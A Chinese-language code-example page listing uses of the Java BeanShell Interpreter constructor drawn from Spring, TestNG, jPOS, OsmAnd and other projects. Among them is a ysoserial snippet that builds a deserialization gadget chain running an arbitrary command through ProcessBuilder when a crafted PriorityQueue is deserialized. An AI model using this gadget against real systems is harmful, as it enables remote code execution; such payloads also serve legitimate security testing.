本文整理了Java中bsh.Interpreter.<init>()
方法的一些代码示例,展示了Interpreter.<init>()
的具体用法。这些代码示例主要来源于Github
/Stackoverflow
/Maven
等平台,是从一些精选项目中提取出来的代码,具有较强的参考意义,能在一定程度帮忙到你。Interpreter.<init>()
方法的具体详情如下:
包路径:bsh.Interpreter
类名称:Interpreter
方法名:<init>
[英]Create an interpreter for evaluation only.
[中]创建一个仅用于评估的解释器。
代码示例来源:origin: org.testng/testng
private static Interpreter getInterpreter() {
if(null == s_interpreter) {
s_interpreter= new Interpreter();
}
return s_interpreter;
}
代码示例来源:origin: spring-projects/spring-framework
/**
* Evaluate the specified BeanShell script based on the given script source,
* returning the Class defined by the script.
* <p>The script may either declare a full class or return an actual instance of
* the scripted object (in which case the Class of the object will be returned).
* In any other case, the returned Class will be {@code null}.
* @param scriptSource the script source text
* @param classLoader the ClassLoader to use for evaluating the script
* @return the scripted Java class, or {@code null} if none could be determined
* @throws EvalError in case of BeanShell parsing failure
*/
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
Assert.hasText(scriptSource, "Script source must not be empty");
Interpreter interpreter = new Interpreter();
if (classLoader != null) {
interpreter.setClassLoader(classLoader);
}
Object result = interpreter.eval(scriptSource);
if (result instanceof Class) {
return (Class<?>) result;
}
else if (result != null) {
return result.getClass();
}
else {
return null;
}
}
代码示例来源:origin: spring-projects/spring-framework
@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
try {
Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(this.classLoader);
if (arguments != null) {
for (Map.Entry<String, Object> entry : arguments.entrySet()) {
interpreter.set(entry.getKey(), entry.getValue());
}
}
return interpreter.eval(new StringReader(script.getScriptAsString()));
}
catch (IOException ex) {
throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
}
catch (EvalError ex) {
throw new ScriptCompilationException(script, ex);
}
}
代码示例来源:origin: spring-projects/spring-framework
Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);
代码示例来源:origin: org.springframework/spring-context
/**
* Evaluate the specified BeanShell script based on the given script source,
* returning the Class defined by the script.
* <p>The script may either declare a full class or return an actual instance of
* the scripted object (in which case the Class of the object will be returned).
* In any other case, the returned Class will be {@code null}.
* @param scriptSource the script source text
* @param classLoader the ClassLoader to use for evaluating the script
* @return the scripted Java class, or {@code null} if none could be determined
* @throws EvalError in case of BeanShell parsing failure
*/
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
Assert.hasText(scriptSource, "Script source must not be empty");
Interpreter interpreter = new Interpreter();
if (classLoader != null) {
interpreter.setClassLoader(classLoader);
}
Object result = interpreter.eval(scriptSource);
if (result instanceof Class) {
return (Class<?>) result;
}
else if (result != null) {
return result.getClass();
}
else {
return null;
}
}
代码示例来源:origin: stackoverflow.com
Interpreter interpreter = new Interpreter();
interpreter.eval("result = 5+4*(7-15)");
System.out.println(interpreter.get("result"));
代码示例来源:origin: org.springframework/spring-context
@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
try {
Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(this.classLoader);
if (arguments != null) {
for (Map.Entry<String, Object> entry : arguments.entrySet()) {
interpreter.set(entry.getKey(), entry.getValue());
}
}
return interpreter.eval(new StringReader(script.getScriptAsString()));
}
catch (IOException ex) {
throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
}
catch (EvalError ex) {
throw new ScriptCompilationException(script, ex);
}
}
代码示例来源:origin: org.springframework/spring-context
Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);
代码示例来源:origin: frohoff/ysoserial
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
代码示例来源:origin: osmandapp/Osmand
public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext,
int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) {
super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize);
bshInterpreter = new Interpreter();
try {
bshInterpreter.eval(urlToLoad);
bshInterpreter.getClassManager().setClassLoader(new ClassLoader() {
@Override
public URL getResource(String resName) {
return null;
}
@Override
public InputStream getResourceAsStream(String resName) {
return null;
}
@Override
public Class<?> loadClass(String className) throws ClassNotFoundException {
throw new ClassNotFoundException("Error requesting " + className);
}
});
} catch (bsh.EvalError e) {
log.error("Error executing the map init script " + urlToLoad, e);
}
}
代码示例来源:origin: stackoverflow.com
import bsh.Interpreter;
Interpreter i = new Interpreter(); // Construct an interpreter
YourObject yourObject = new YourObject();
i.set("myObject", yourObject );
// Source an external script file
i.source("somefile.bsh");
代码示例来源:origin: jpos/jPOS
public void actionPerformed (ActionEvent ev) {
String bshSource = ev.getActionCommand();
try {
Interpreter bsh = new Interpreter ();
bsh.source (bshSource);
} catch (Exception e) {
e.printStackTrace();
}
}
}
代码示例来源:origin: beanshell/beanshell
protected Interpreter getInterpreter() {
if (interpreter == null) {
this.interpreter = new Interpreter();
interpreter.setNameSpace(null); // should always be set by context
}
return interpreter;
}
代码示例来源:origin: uk.org.mygrid.taverna.processors/taverna-beanshell-processor
public BeanshellTask(Processor p) throws ClassNotFoundException {
this.proc = (BeanshellProcessor) p;
ClassLoader classLoader = proc.findClassLoader();
interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
logger.info("Beanshell using classloader " + classLoader);
}
代码示例来源:origin: org.jbpm/jbpm-form-modeler-ui
protected Interpreter getInterpreter(Form form, String namespace) {
Interpreter i = (Interpreter) formProcessor.getAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER);
if (i == null)
formProcessor.setAttribute(form, namespace, FormProcessor.ATTR_INTERPRETER, i = new Interpreter());
return i;
}
代码示例来源:origin: uk.org.mygrid.taverna/taverna-contrib
public void actionPerformed(ActionEvent e) {
try {
Interpreter interpreter = new Interpreter();
interpreter.eval(scriptText.getText());
} catch (EvalError e1) {
e1.printStackTrace();
}
}
});
代码示例来源:origin: jitlogic/zorka
public PreparsedScript(final String source, final ClassLoader classLoader) throws EvalError {
final ClassManagerImpl classManager = new ClassManagerImpl();
classManager.setClassLoader(classLoader);
final NameSpace nameSpace = new NameSpace(classManager, "global");
_interpreter = new Interpreter(new StringReader(""), System.out, System.err, false, nameSpace, null, null);
try {
final This callable = (This) _interpreter.eval("__execute() { " + source + "\n" + "}\n" + "return this;");
_method = callable.getNameSpace().getMethod("__execute", new Class[0], false);
} catch (final UtilEvalError e) {
throw new IllegalStateException(e);
}
}
代码示例来源:origin: jpos/jPOS
private Interpreter initInterpreter () throws EvalError {
Interpreter bsh = new Interpreter ();
bsh.set ("sp", sp);
bsh.set ("spacelet", this);
bsh.set ("log", getLog());
return bsh;
}
private Interpreter initInterpreter (Object key) throws EvalError {
代码示例来源:origin: ESAPI/esapi-java-legacy
public BeanShellRule(String fileLocation, String id, Pattern path) throws IOException, EvalError {
i = new Interpreter();
i.set("logger", logger);
this.script = getFileContents(ESAPI.securityConfiguration().getResourceFile(fileLocation));
this.id = id;
this.path = path;
}
代码示例来源:origin: jpos/jPOS
public void initService() {
bsh = new Interpreter ();
BshClassManager bcm = bsh.getClassManager();
try {
bcm.setClassPath(getServer().getLoader().getURLs());
} catch (UtilEvalError e) {
e.printStackTrace();
}
bcm.setClassLoader(getServer().getLoader());
}
public void startService() {
内容来源于网络,如有侵权,请联系作者删除!